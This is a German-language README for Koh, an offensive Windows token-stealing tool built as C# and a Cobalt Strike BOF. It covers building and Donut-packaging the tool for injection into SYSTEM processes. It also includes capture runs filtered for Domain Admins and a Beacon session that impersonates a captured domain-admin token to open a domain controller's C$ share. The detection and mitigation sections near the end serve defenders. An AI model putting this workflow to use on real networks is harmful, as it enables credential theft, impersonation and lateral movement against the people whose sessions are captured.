
Erfasst Windows-Anmeldesitzungstoken durch Token-Leckage, um die Wiederverwendung von Anmeldeinformationen und Identitätswechsel zu ermöglichen, mit Cobalt Strike BOF-Integration für Post-Exploitation-Token-Diebstahl.
Koh ist eine Tool-Sammlung in C# und Beacon Object File (BOF), die das Erfassen von Benutzeranmeldeinformationen durch absichtliches Prellen/Verlust von Token-/Anmeldesitzungen ermöglicht.
Ein Teil des Codes wurde inspiriert von Elad Shamir's Internal-Monologue-Projekt (keine Lizenz) sowie von KB180548. Warum dies möglich ist und welchen Ansatz Koh verfolgt, finden Sie im Abschnitt Technischer Hintergrund dieser README.
Eine ausführlichere Erklärung der Motivation hinter Koh und seines Ansatzes finden Sie im Beitrag Koh: The Token Stealer.
@harmj0y ist der Hauptautor dieser Codebasis. @tifkin_ half bei der Herangehensweise, der BOF-Implementierung und einigen Token-Mechaniken.
Koh ist unter der BSD-3-Clause-Lizenz lizenziert.
Der Koh-„Server“ erfasst Token und verwendet Named Pipes für Steuerung/Kommunikation. Dies kann in Donut verpackt und in jeden High-Integritäts- SYSTEM-Prozess injiziert werden (siehe Der Inline-Shenanigans-Fehler).
Wir planen nicht, Binärdateien für Koh zu veröffentlichen, daher müssen Sie selbst kompilieren :)
Koh wurde gegen .NET 4.7.2 erstellt und ist mit Visual Studio 2019 Community Edition kompatibel. Öffnen Sie einfach die Projekt-.sln, wählen Sie „Release“ und erstellen Sie das Projekt. Die Koh.exe-Assembly und der Koh.bin Donut-erstellte PIC werden im Hauptverzeichnis ausgegeben. Der Donut-Blob ist sowohl x86/x64-kompatibel und wird mit den folgenden Optionen unter Verwendung von Donut v0.9.3 unter ./Misc/Donut.exe erstellt:```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
Donut's Lizenz ist BSD 3-Clause.
### Verwendung
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - listet (nicht-Netzwerk-)Anmeldesitzungen auf
* **monitor** - überwacht auf neue/eindeutige (nicht-Netzwerk-)Anmeldesitzungen
* **capture** - erfasst ein eindeutiges Token pro gefundener SID für neue (nicht-Netzwerk-)Anmeldesitzungen
Gruppen-SIDs können ebenfalls über die Kommandozeile angegeben werden, sodass Koh nur Anmeldesitzungen überwacht/erfasst, die die angegebenen Gruppen-SIDs in ihren ausgehandelten Token-Informationen enthalten.
### Beispiel - Auflisten von Anmeldesitzungen```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
Listet nur Ergebnisse, die die Gruppen-SID der Domänenadministratoren (-512) in ihren Tokeninformationen enthalten:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Koh Client
Der derzeit nutzbare Client ist eine Beacon Object File unter `.\Clients\BOF\`. Laden Sie das Aggressor-Skript `.\Clients\BOF\KohClient.cna` in Ihren Cobalt Strike-Client, um die BOF-Steuerung des Koh-Servers zu aktivieren. Die einzige Voraussetzung für die Verwendung erfasster Token ist **SeImpersonatePrivilege**. Die benannte Pipe für die Kommunikation hat eine „Everyone“-DACL, verwendet aber ein einfaches gemeinsames Passwort (super sicher).
Um es unter Linux mit Mingw frisch zu kompilieren, siehe das Skript `.\Clients\BOF\build.sh`. Die einzige Voraussetzung (zumindest unter Debian) sollte `apt-get install gcc-mingw-w64` sein.
### Verwendung```
beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit
Der Befehl koh filter add S-1-5-21-<DOMAIN>-<RID> erfasst nur Token, die die angegebene Gruppen-SID enthalten. Dieser Befehl kann mehrmals ausgeführt werden, um weitere SIDs zur Erfassung hinzuzufügen. Dies kann helfen, mögliche Stabilitätsprobleme aufgrund einer großen Anzahl von Token-Leaks zu vermeiden.
"Erfasst" Anmeldesitzungen durch Aushandeln nutzbarer Token für jede neue Sitzung.
Server:``` C:\Temp>Koh.exe capture
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: capture
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)
[*] Successfully negotiated a token for LUID 207990196 (hToken: 848)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Credential UserName : [email protected] Origin LUID : 1677765 (0x1999c5)
[*] Successfully negotiated a token for LUID 81492692 (hToken: 976)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Credential UserName : [email protected] Origin LUID : 999 (0x3e7)
[*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
BOF client:```
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
Username : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID : 67556826
CaptureTime : 6/21/2022 1:24:42 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1676720
Username : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID : 67568439
CaptureTime : 6/21/2022 1:24:50 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1677765
Username : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID : 1677733
CaptureTime : 6/21/2022 1:23:10 PM
LogonType : Interactive
AuthPackage : Kerberos
CredUserName : [email protected]
Origin LUID : 999
beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572
beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
[*] Enabled SeImpersonatePrivilege
[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost
[+] received output:
[*] Impersonation succeeded. Duplicating token.
[+] received output:
[*] Impersonated token successfully duplicated.
[+] Impersonated THESHIRE\da
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Volume in drive \\dc.theshire.local\C$ has no label.
Volume Serial Number is A4FF-7240
Directory of \\dc.theshire.local\C$
01/04/2021 11:43 AM <DIR> inetpub
05/30/2019 03:08 PM <DIR> PerfLogs
05/18/2022 01:27 PM <DIR> Program Files
04/15/2021 09:44 AM <DIR> Program Files (x86)
03/20/2020 12:28 PM <DIR> RBFG
10/20/2021 01:14 PM <DIR> Temp
05/23/2022 06:30 PM <DIR> tools
03/11/2022 04:10 PM <DIR> Users
06/21/2022 01:30 PM <DIR> Windows
0 File(s) 0 bytes
9 Dir(s) 40,504,201,216 bytes free
Wenn eine neue Anmeldesitzung auf einem System eingerichtet wird, erstellt LSASS mit dem API-Aufruf NtCreateToken() ein neues Token für die Anmeldesitzung und gibt es an den Aufrufer von LsaLogonUser() zurück. Dies erhöht den ReferenceCount der Kernelstruktur der Anmeldesitzung. Wenn dieser ReferenceCount 0 erreicht, wird die Anmeldesitzung zerstört. Aufgrund der Informationen im Abschnitt Warum Dies Möglich Ist werden Windows-Systeme eine Anmeldesitzung NICHT freigeben, solange noch ein Token-Handle dazu existiert (und daher der Referenzzähler != 0 ist).
Wenn wir also ein Handle zu einer neu erstellten Anmeldesitzung über ein Token erhalten können, können wir diese Anmeldesitzung offen halten und später dieses Token impersonieren, um alle darin enthaltenen zwischengespeicherten Anmeldeinformationen zu nutzen.
Laut diesem Beitrag eines Microsoft-Ingenieurs:``` After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.
[MS16-111](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-111) wurde auf Windows 7/Server 2008 zurückportiert, daher sollte dieser Ansatz für alle Systeme außer Server 2003 wirksam sein.
## Ansatz
Das Aufzählen von Anmeldesitzungen ist (aus einem erhöhten Kontext) einfach mithilfe der Win32-API [LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions). Schwieriger ist es, eine bestimmte Anmeldesitzungskennung (LUID) zu nehmen und _irgendwie_ einen nutzbaren Token zu erhalten, der mit dieser Sitzung verknüpft ist.
### Mögliche Ansätze
Wir haben einige Möglichkeiten durchdacht, um a) Anmeldesitzungen offen zu halten und b) dies für Token-Impersonation/Verwendung von zwischengespeicherten Anmeldeinformationen zu missbrauchen.
1. Der erste Ansatz bestand darin, **NtCreateToken()** zu verwenden, mit dem Sie eine Anmeldesitzungs-ID (LUID) angeben können, um einen neuen Token zu erstellen.
* Leider benötigt man **SeCreateTokenPrivilege**, das traditionell nur von LSASS gehalten wird, was bedeutet, dass man den Token von LSASS stehlen müsste, was nicht ideal ist.
* Eine Möglichkeit bestand darin, **SeCreateTokenPrivilege** zu NT AUTHORITY\SYSTEM über eine LSA-Richtlinienänderung hinzuzufügen, aber dies würde einen Neustart/eine neue Anmeldesitzung erfordern, um die neuen Benutzerrechte wirksam zu machen.
2. Man kann sich auch auf nur RemoteInteractive-Anmeldesitzungen konzentrieren, indem man **WTSQueryUserToken()** verwendet, um Token für neue Desktopsitzungen zum Klonen zu erhalten.
* Dies ist der Ansatz, der offenbar [von Ryan demonstriert wurde](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472).
* Leider übersieht dies neu erstellte lokale Sitzungen und eingehende Sitzungen, die durch Dinge wie PSEXEC erstellt wurden.
3. Bei einer neuen Anmeldesitzung ein Handle zu jedem erreichbaren Prozess öffnen und alle vorhandenen Handles aufzählen, wobei der mit der neuen Anmeldesitzung verknüpfte Token geklont wird.
* Dies erfordert das Öffnen vieler Prozesse/Handles, was sehr verdächtig aussieht.
4. Der **AcquireCredentialsHandle()**/**InitializeSecurityContext()**/**AcceptSecurityContext()**-Ansatz, der unten beschrieben wird und für den wir uns entschieden haben.
### Unser Ansatz
Der SSPI-Aufruf [AcquireCredentialsHandle()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--negotiate) hat ein Feld **pvLogonID**, das besagt:```
A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors.
Hinweis: Um eine Anmeldesitzungs-LUID mit AcquireCredentialsHandle() zu verwenden, benötigen Sie SeTcbPrivilege, was jedoch normalerweise einfacher zu erhalten ist als SeCreateTokenPrivilege.
Die Verwendung dieses Aufrufs unter Angabe einer Anmeldesitzungs-ID/LUID scheint den ReferenceCount der Anmeldesitzungsstruktur zu erhöhen und zu verhindern, dass sie freigegeben wird. Allerdings stehen wir vor einem weiteren Problem: Wie erhalten wir bei einer „geleakten“/offen gehaltenen Anmeldesitzung einen nutzbaren Token daraus? WTSQueryUserToken() funktioniert nur mit Desktopsitzungen, und es gibt keine uns bekannte Userland-API, die eine LUID auf einen nutzbaren Token abbildet.
Allerdings können wir zwei zusätzliche SSPI-Funktionen verwenden, InitializeSecurityContext() und AcceptSecurityContext(), um als Client und Server für uns selbst zu agieren und einen neuen Sicherheitskontext auszuhandeln, den wir dann mit QuerySecurityContextToken() verwenden können, um einen nutzbaren Token zu erhalten. Dies wurde in KB180548 (gespiegelt von PKISolutions hier) für die Zwecke der Anmeldeinformationsvalidierung dokumentiert. Dies ist ein ähnlicher Ansatz wie Internal-Monologue, mit dem Unterschied, dass wir den gesamten Handshake-Prozess abschließen, einen Token erzeugen und diesen für die spätere Verwendung aufbewahren.
Die Filterung kann dann am Token selbst erfolgen, über CheckTokenMembership() oder GetTokenInformation(). Beispielsweise könnten wir alle Token außer denen von Domänenadministratoren oder bestimmten Gruppen, die wir im Visier haben, freigeben.
Ich code schon seit einiger Zeit. Dies ist einer der seltsameren und frustrierendsten Fehler, auf den ich seit langem gestoßen bin – bitte helft mir damit lol.
Wenn die Koh.exe-Assembly aus einem erhöhten (aber nicht SYSTEM-)Kontext ausgeführt wird, funktioniert alles ordnungsgemäß.
Wenn die Koh.exe-Assembly über den Beacon-Fork&run-Prozess von Cobalt Strike mit execute-assembly aus einem erhöhten (aber nicht SYSTEM-)Kontext ausgeführt wird, funktioniert alles ordnungsgemäß.
Wenn die Koh.exe-Assembly inline ausgeführt wird (über InlineExecute-Assembly oder Inject-Assembly) für einen Cobalt Strike Beacon, der in einem SYSTEM-Kontext läuft, funktioniert alles ordnungsgemäß.
Allerdings: Wenn die Koh.exe-Assembly inline ausgeführt wird (über InlineExecute-Assembly oder Inject-Assembly) für einen Cobalt Strike Beacon, der in einem erhöhten, aber nicht SYSTEM-Kontext läuft, schlägt der Aufruf von AcquireCredentialsHandle() mit SEC_E_NO_CREDENTIALS fehl und alles schlägt fehl ¯\_(ツ)_/¯
Wir haben erfolglos versucht:
In jeder Hinsicht funktioniert der Thread-Kontext direkt vor dem Aufruf von AcquireCredentialsHandle in diesem Kontext, aber das Ergebnis führt zu einem Fehler. Und wir haben keine Ahnung, warum.
Wenn Sie eine Idee haben, was das sein könnte, lassen Sie es uns bitte wissen! Und wenn Sie mit einer einfacheren Assembly herumspielen möchten, sehen Sie sich das AcquireCredentialsHandle-Repository auf meinem GitHub zur Fehlerbehebung an.
Um @tifkin_ zu zitieren: „Everything is stealthy until someone is looking for it.“ Obwohl Kohs Ansatz sich leicht von anderen unterscheidet, gibt es dennoch IOCs, die zu seiner Erkennung verwendet werden können.
Die eindeutige TypeLib-GUID für den C#-Koh-Collector ist 4d5350c8-7f8c-47cf-8cde-c752018af17e, wie in der Koh.yar-Yara-Regel in diesem Repository beschrieben. Wenn diese bei der Kompilierung nicht geändert wird, sollte dies ein sehr hochauflösender Indikator für den Koh-Server sein.
Wenn der Koh-Server startet, öffnet er eine Named Pipe namens \\.\pipe\imposecost, die geöffnet bleibt, solange Koh läuft. Das Standardkennwort für die Koh-Kommunikation ist password, daher können Sie durch Senden von password list an eine beliebige Pipe \\.\pipe\imposecost bestätigen, ob Koh tatsächlich läuft. Die standardmäßig verwendete Pipe zur Identitätswechsel ist \\.pipe\imposingcost.
Wenn Koh in einem erhöhten Kontext, aber nicht als SYSTEM startet, wird ein Handle/Token-Klon von winlogon durchgeführt, um eine Höherstufung vom Typ getsystem durchzuführen.
Ich bin sicher, dass keine Angreifer die oben genannten Indikatoren ändern werden.
Es gibt wahrscheinlich einige RPC-Artefakte für die Token-Erfassung, die wir untersuchen möchten. Wir werden diesen Abschnitt der README aktualisieren, wenn wir weitere Erkennungsartefakte in dieser Richtung finden. Das Hooking einiger der möglicherweise ungewöhnlichen APIs, die von Koh verwendet werden (LsaEnumerateLogonSessions oder die spezifischen AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, insbesondere die Verwendung einer LUID in AcquireCredentialsHandle) könnte auf Wirksamkeit untersucht werden, aber leider bin ich kein EDR.
Nach der Veröffentlichung des Beitrags Koh: The Token Stealer hatte ich einen großartigen Austausch zwischen @cnotin und @SteveSyfuhs darüber, was sich als teilweise Gegenmaßnahme für diesen Ansatz herausstellte.
Das KB2871997-Patch führte eine TokenLeakDetectDelaySecs-Einstellung ein, die die „...Löschung aller Anmeldeinformationen abgemeldeter Benutzer...“ auslöst. Standardmäßig wird dieses Verhalten für Mitglieder der „Protected Users Security Group“ unabhängig von der Registrierungseinstellung erzwungen. Wenn dieser Wert jedoch auf einen Wert ungleich Null gesetzt wird, werden ALLE Anmeldeinformationen aus dem Speicher gelöscht, wenn sich ein Benutzer abmeldet. Insbesondere, wie Steve erwähnt: If set, it'll start a timer on a sessions *interactive* logoff event, and on fire will purge anything still tied to it. Off by default. Protected Users always on, with a default of 30s.
Im obigen Absatz sind zwei wichtige Dinge zu beachten: „Logoff-Ereignis“ und „Interaktiv“. Dies kann in einigen Situationen dazu führen, dass die Anmeldeinformationen eines Benutzers NICHT gelöscht werden:
runas- oder runas /netonly-artigen Start oder etwas Ähnliches vorhanden sind, gibt es kein Abmeldeereignis, wenn der Prozess beendet wird, und die Anmeldeinformationen/der Token können weiterhin erfasst werden.(Ich muss andere Anmeldesituationen wie NetworkClearText testen.)
Wenn der Benutzer jedoch Mitglied der „Protected Users Security Group“ ist oder TokenLeakDetectDelaySecs nicht Null ist und der Benutzer sich aktiv von einer interaktiven oder Remote-Interaktiv-(RDP)-Sitzung abmeldet, werden die Anmeldeinformationen gelöscht. Ich muss Koh programmieren, um besser mit diesen spezifischen Situationen umzugehen.
TL;DR Sie sollten wirklich die „Protected Users Security Group“ für sensible Benutzer verwenden und prüfen, ob das Setzen von TokenLeakDetectDelaySecs auf einen Wert wie 30 in Ihrer Umgebung machbar ist.